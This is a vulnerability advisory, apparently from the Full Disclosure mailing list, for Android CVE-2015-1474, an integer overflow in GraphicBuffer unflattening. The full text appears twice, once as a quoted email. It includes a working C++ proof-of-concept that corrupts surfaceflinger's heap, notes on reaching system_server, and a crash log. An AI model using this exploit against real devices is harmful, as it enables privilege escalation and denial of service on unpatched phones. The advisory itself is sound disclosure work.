Correct the format ############################################################################# # # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ # ############################################################################# # # CVE ID: CVE-2015-1474 # Product: Android # Vendor: Google # Subject: Integer overflow leading to heap corruption while unflattening GraphicBuffer # Effect: Gain privileges or cause a denial of service # Author: Guang Gong # Date: March 11th 2015 # #############################################################################
Introduction ------------ Multiple integer overflows in the GraphicBuffer::unflatten function in platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of (1) file descriptors or (2) integer values. Affected Android version ---------- all versions below Lollipop 5.1 Patches ------- Android Bug id 18076253 There are two patches for this vulnerabilities, the first patch for this issue is uncomplete. [1] https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2] https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 Description ----------- The vulnerable code is as follows. 28native_handle_t* native_handle_create(int numFds, int numInts) 29{ 30 native_handle_t* h = malloc( 31 sizeof(native_handle_t) + sizeof(int)*(numFds+numInts));---------------> integer overflow here, numFds and numInts can be controlled by normal Apps. 32 33 h->version = sizeof(native_handle_t); 34 h->numFds = numFds; 35 h->numInts = numInts; 36 return h; 37} 244status_t GraphicBuffer::unflatten( 245 void const*& buffer, size_t& size, int const*& fds, size_t& count) { … 271 native_handle* h = native_handle_create(numFds, numInts); 272 memcpy(h->data, fds, numFds*sizeof(int)); ---------------->heap corruption hear. 273 memcpy(h->data + numFds, &buf[8], numInts*sizeof(int)); …. Attack vector ------------- A normal Apps can corrupt the heap in surfaceflinger and system_server by this vulnerabilities. the PoC of corrupting the heap of surfaceflinger is as follows #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <utils/Log.h> #include <binder/IPCThreadState.h> #include <binder/ProcessState.h> #include <binder/IServiceManager.h> #include <gui/ISurfaceComposer.h> #include <gui/BufferQueue.h> #include <gui/CpuConsumer.h> #include <unistd.h> using namespace android; class MyBufferQueue:public BufferQueue{ public: status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags){ status_t ret = BnGraphicBufferProducer::onTransact(code,data,reply,flags); if(code==1){ int *data = (int *)reply->data(); int *numFDs = data+9; *numFDs=0xfffffffd; } return ret; } }; int main() { sp<ProcessState> proc(ProcessState::self()); proc->startThreadPool(); const String16 name("SurfaceFlinger"); sp<ISurfaceComposer> composer; getService(name, &composer); uint32_t w, h; PixelFormat f; sp<IBinder> display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain)); sp<MyBufferQueue> bufferQueue = new MyBufferQueue(); sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1); status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL); if (err != NO_ERROR) { fprintf(stderr, "screen capture failed: %s\n", strerror(-err)); exit(0); } printf("screen capture success\n"); IPCThreadState::self()->joinThreadPool(); return 0; } How to corrupt the heap of system_server put a malformated GraphicBuffer in a Bundle, and then send it to system_server via setApplicationRestrictions. it’s the same way as CVE-2014-7911. The backtrace of crash surfaceflinger 55 --------- beginning of crash 56 F/libc (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xb1000000 in tid 15504 (surfaceflinger) 57 I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 58 I/DEBUG ( 180): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' 59 I/DEBUG ( 180): Revision: '11' 60 I/DEBUG ( 180): ABI: 'arm' 61 I/DEBUG ( 180): pid: 15504, tid: 15504, name: surfaceflinger >>> /system/bin/surfaceflinger <<< 62 I/DEBUG ( 180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xb1000000 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504 64 I/DEBUG ( 180): r0 b1000000 r1 b6be41ec r2 ff81eff0 r3 00000004 65 E/DEBUG ( 180): AM write failure (32 / Broken pipe) 66 I/DEBUG ( 180): r4 b647ac00 r5 fffffffd r6 b6302150 r7 00000050 67 I/DEBUG ( 180): r8 bef65734 r9 bef65738 sl bef6573c fp b081f070 68 I/DEBUG ( 180): ip 80000000 sp bef656f0 lr b6c6cfb7 pc b6eb2e30 cpsr a00f0030 69 I/DEBUG ( 180): 70 I/DEBUG ( 180): backtrace: 71 I/DEBUG ( 180): #00 pc 0000fe30 /system/lib/libc.so (__memcpy_base+91) ------------------------->memcpy cause heap corruption 72 I/DEBUG ( 180): #01 pc 00005fb3 /system/lib/libui.so (android::GraphicBuffer::unflatten(void const*&, unsigned int&, int const*&, unsigned int&)+98) 73 I/DEBUG ( 180): #02 pc 00025e09 /system/lib/libgui.so 74 I/DEBUG ( 180): #03 pc 0001e985 /system/lib/libbinder.so (android::Parcel::read(android::Parcel::FlattenableHelperInterface&) const+176) 75 I/DEBUG ( 180): #04 pc 0002638d /system/lib/libgui.so 76 I/DEBUG ( 180): #05 pc 0002adc3 /system/lib/libgui.so (android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226) 77 I/DEBUG ( 180): #06 pc 0002aa81 /system/lib/libgui.so (android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*, ANativeWindowBuffer**)+32) 78 I/DEBUG ( 180): #07 pc 000175cf /system/lib/libsurfaceflinger.so 79 I/DEBUG ( 180): #08 pc 0001b80f /system/lib/libsurfaceflinger.so 80 I/DEBUG ( 180): #09 pc 000158f5 /system/lib/libsurfaceflinger.so 81 I/DEBUG ( 180): #10 pc 00010907 /system/lib/libutils.so (android::Looper::pollInner(int)+410) 82 I/DEBUG ( 180): #11 pc 000109f9 /system/lib/libutils.so (android::Looper::pollOnce(int, int*, int*, void**)+92) 83 I/DEBUG ( 180): #12 pc 00015ad1 /system/lib/libsurfaceflinger.so 84 I/DEBUG ( 180): #13 pc 0001675d /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8) 85 I/DEBUG ( 180): #14 pc 0000083d /system/bin/surfaceflinger 86 I/DEBUG ( 180): #15 pc 0000f811 /system/lib/libc.so (__libc_init+44) 87 I/DEBUG ( 180): #16 pc 000008d8 /system/bin/surfaceflinger 88 I/DEBUG ( 180): 89 I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_01 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox (SYSTEM_TOMBSTONE) 91 I/ServiceManager( 176): service 'SurfaceFlinger' died 92 I/ServiceManager( 176): service 'display.qservice' died Milestones ---------- Date Comment Sender 20/10/2014 Initial Report of CVE-2015-1474 Qihoo 360 22/10/2014 Forwarded to the dedicated Team by Google Google 04/11/2014 Classified it as a high severity vulnerability Google 06/11/2014 Get the Android Bug ID 18076253 Google 10/2/2015 Notify it’s fixed and send the CVE-ID Google 16/2/2015 Tell Google the first patch was uncomplete Qihoo 360 18/2/2015 Submitted the second patch Google 11/3/2015 Lollipop 5.1 was released, disclose it Qihoo 360 References ---------- [1] https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2] https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 [3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474 [4] http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28 On Wed, Mar 11, 2015 at 6:17 PM, Guang Gong <higonggu...@gmail.com> wrote: > > ############################################################################# > # > # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ > # > > ############################################################################# > # > # CVE ID: CVE-2015-1474 > # Product: Android > # Vendor: Google > # Subject: Integer overflow leading to heap corruption while > unflattening GraphicBuffer > # Effect: Gain privileges or cause a denial of service > # Author: Guang Gong > > # Date: March 11th 2015 > # > > ############################################################################# > > > Introduction > ------------ > Multiple integer overflows in the GraphicBuffer::unflatten function in > platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0 > allow attackers to gain privileges or cause a denial of service (memory > corruption) via vectors that trigger a large number of (1) file descriptors > or (2) integer values. > > Affected Android version > ---------- > > all versions below Lollipop 5.1 > > Patches > ------- > > Android Bug id 18076253 > There are two patches for this vulnerabilities, the first patch for this > issue is uncomplete. > > [1] > https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 > > [2] > https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 > > Description > ----------- > The vulnerable code is as follows. > > 28 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28> > native_handle_t > <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* > native_handle_create > <http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system> > (int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>, > int numInts > <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>) > > 29 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29> > { > > 30 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30> > native_handle_t > <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* > h = malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>( > > 31 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31> > sizeof(native_handle_t > <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) > + sizeof(int)*(numFds > <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> > ));---------------> integer overflow here, numFds and numInts can be > controlled by normal Apps. > > 32 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32> > > 33 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33> > h->version > <http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof( > native_handle_t > <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>); > > 34 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34> > h->numFds > <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system> = numFds > <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>; > > 35 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35> > h->numInts > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> > = numInts > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> > ; > > 36 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36> > return h; > > 37 > <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37> > } > > > > 244 > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244> > status_t > <http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> > GraphicBuffer > <http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks> > ::unflatten > <http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>( > > 245 > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245> > void const*& buffer > <http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t > <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size > <http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int > const*& fds > <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, size_t > <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& count > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>) > { > > … > > 271 > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271> > native_handle > <http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>* > h = native_handle_create > <http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks> > (numFds > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds> > , numInts > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts> > ); > > 272 > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272> > memcpy > <http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data > <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>, > fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, > numFds > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds> > *sizeof(int)); ---------------->heap corruption hear. > > 273 > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273> > memcpy > <http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data > <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>, > &buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8], > numInts > <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts> > *sizeof(int)); > > …. > > > Attack vector > ------------- > A normal Apps can corrupt the heap in surfaceflinger and system_server by > this vulnerabilities. > > the PoC of corrupting the heap of surfaceflinger is as follows > > #include <sys/types.h> > > #include <sys/stat.h> > > #include <fcntl.h> > > #include <utils/Log.h> > > #include <binder/IPCThreadState.h> > > #include <binder/ProcessState.h> > > #include <binder/IServiceManager.h> > > #include <gui/ISurfaceComposer.h> > > #include <gui/BufferQueue.h> > > #include <gui/CpuConsumer.h> > > #include <unistd.h> > > > using namespace android; > > class MyBufferQueue:public BufferQueue{ > > public: > > status_t onTransact(uint32_t code, const Parcel& data, Parcel* > reply, uint32_t flags){ > > status_t ret = > BnGraphicBufferProducer::onTransact(code,data,reply,flags); > > if(code==1){ > > int *data = (int *)reply->data(); > > int *numFDs = data+9; > > *numFDs=0xfffffffd; > > } > > return ret; > > } > > }; > > int main() > > { > > sp<ProcessState> proc(ProcessState::self()); > > proc->startThreadPool(); > > const String16 name("SurfaceFlinger"); > > sp<ISurfaceComposer> composer; > > getService(name, &composer); > > uint32_t w, h; > > PixelFormat f; > > sp<IBinder> > display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain)); > > sp<MyBufferQueue> bufferQueue = new MyBufferQueue(); > > sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1); > > status_t err = composer->captureScreen(display, bufferQueue, > 0,0,0,-1UL); > > if (err != NO_ERROR) { > > fprintf(stderr, "screen capture failed: %s\n", strerror(-err)); > > exit(0); > > } > > printf("screen capture success\n"); > > IPCThreadState::self()->joinThreadPool(); > > return 0; > > } > > How to corrupt the heap of system_server > > put a malformated GraphicBuffer in a Bundle, and then send it to > system_server via setApplicationRestrictions. it’s the same way as > CVE-2014-7911. > > The backtrace of crash surfaceflinger > > 55 --------- beginning of crash > > 56 F/libc (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr > 0xb1000000 in tid 15504 (surfaceflinger) > > 57 I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** > *** *** *** > > 58 I/DEBUG ( 180): Build fingerprint: > 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' > > 59 I/DEBUG ( 180): Revision: '11' > > 60 I/DEBUG ( 180): ABI: 'arm' > > 61 I/DEBUG ( 180): pid: 15504, tid: 15504, name: surfaceflinger >>> > /system/bin/surfaceflinger <<< > > 62 I/DEBUG ( 180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault > addr 0xb1000000 > > 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504 > > 64 I/DEBUG ( 180): r0 b1000000 r1 b6be41ec r2 ff81eff0 r3 > 00000004 > > 65 E/DEBUG ( 180): AM write failure (32 / Broken pipe) > > 66 I/DEBUG ( 180): r4 b647ac00 r5 fffffffd r6 b6302150 r7 > 00000050 > > 67 I/DEBUG ( 180): r8 bef65734 r9 bef65738 sl bef6573c fp > b081f070 > > 68 I/DEBUG ( 180): ip 80000000 sp bef656f0 lr b6c6cfb7 pc > b6eb2e30 cpsr a00f0030 > > 69 I/DEBUG ( 180): > > 70 I/DEBUG ( 180): backtrace: > > 71 I/DEBUG ( 180): #00 pc 0000fe30 /system/lib/libc.so > (__memcpy_base+91) ------------------------->memcpy cause heap corruption > > 72 I/DEBUG ( 180): #01 pc 00005fb3 /system/lib/libui.so > (android::GraphicBuffer::unflatten(void const*&, unsigned int&, int > const*&, unsigned int&)+98) > > 73 I/DEBUG ( 180): #02 pc 00025e09 /system/lib/libgui.so > > 74 I/DEBUG ( 180): #03 pc 0001e985 /system/lib/libbinder.so > (android::Parcel::read(android::Parcel::FlattenableHelperInterface&) > const+176) > > 75 I/DEBUG ( 180): #04 pc 0002638d /system/lib/libgui.so > > 76 I/DEBUG ( 180): #05 pc 0002adc3 /system/lib/libgui.so > (android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226) > > 77 I/DEBUG ( 180): #06 pc 0002aa81 /system/lib/libgui.so > (android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*, > ANativeWindowBuffer**)+32) > > 78 I/DEBUG ( 180): #07 pc 000175cf > /system/lib/libsurfaceflinger.so > > 79 I/DEBUG ( 180): #08 pc 0001b80f > /system/lib/libsurfaceflinger.so > > 80 I/DEBUG ( 180): #09 pc 000158f5 > /system/lib/libsurfaceflinger.so > > 81 I/DEBUG ( 180): #10 pc 00010907 /system/lib/libutils.so > (android::Looper::pollInner(int)+410) > > 82 I/DEBUG ( 180): #11 pc 000109f9 /system/lib/libutils.so > (android::Looper::pollOnce(int, int*, int*, void**)+92) > > 83 I/DEBUG ( 180): #12 pc 00015ad1 > /system/lib/libsurfaceflinger.so > > 84 I/DEBUG ( 180): #13 pc 0001675d > /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8) > > 85 I/DEBUG ( 180): #14 pc 0000083d /system/bin/surfaceflinger > > 86 I/DEBUG ( 180): #15 pc 0000f811 /system/lib/libc.so > (__libc_init+44) > > 87 I/DEBUG ( 180): #16 pc 000008d8 /system/bin/surfaceflinger > > 88 I/DEBUG ( 180): > > 89 I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_01 > > 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to > DropBox (SYSTEM_TOMBSTONE) > > 91 I/ServiceManager( 176): service 'SurfaceFlinger' died > > 92 I/ServiceManager( 176): service 'display.qservice' died > > > > Milestones > ---------- > > Date > > Comment > > Sender > > 20/10/2014 > > Initial Report of CVE-2015-1474 > > Qihoo 360 > > 22/10/2014 > > Forwarded to the dedicated Team by Google > > Google > > 04/11/2014 > > Classified it as a high severity vulnerability > > Google > > 06/11/2014 > > Get the Android Bug ID 18076253 > > Google > > 10/2/2015 > > Notify it’s fixed and send the CVE-ID > > Google > > 16/2/2015 > > Tell Google the first patch was uncomplete > > Qihoo 360 > > 18/2/2015 > > Submitted the second patch > > Google > > 11/3/2015 > > Lollipop 5.1 was released, disclose it > > Qihoo 360 > > > > References > ---------- > [1] > https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 > > [2] > https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 > > [3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474 > > [4] > http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28 > > _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/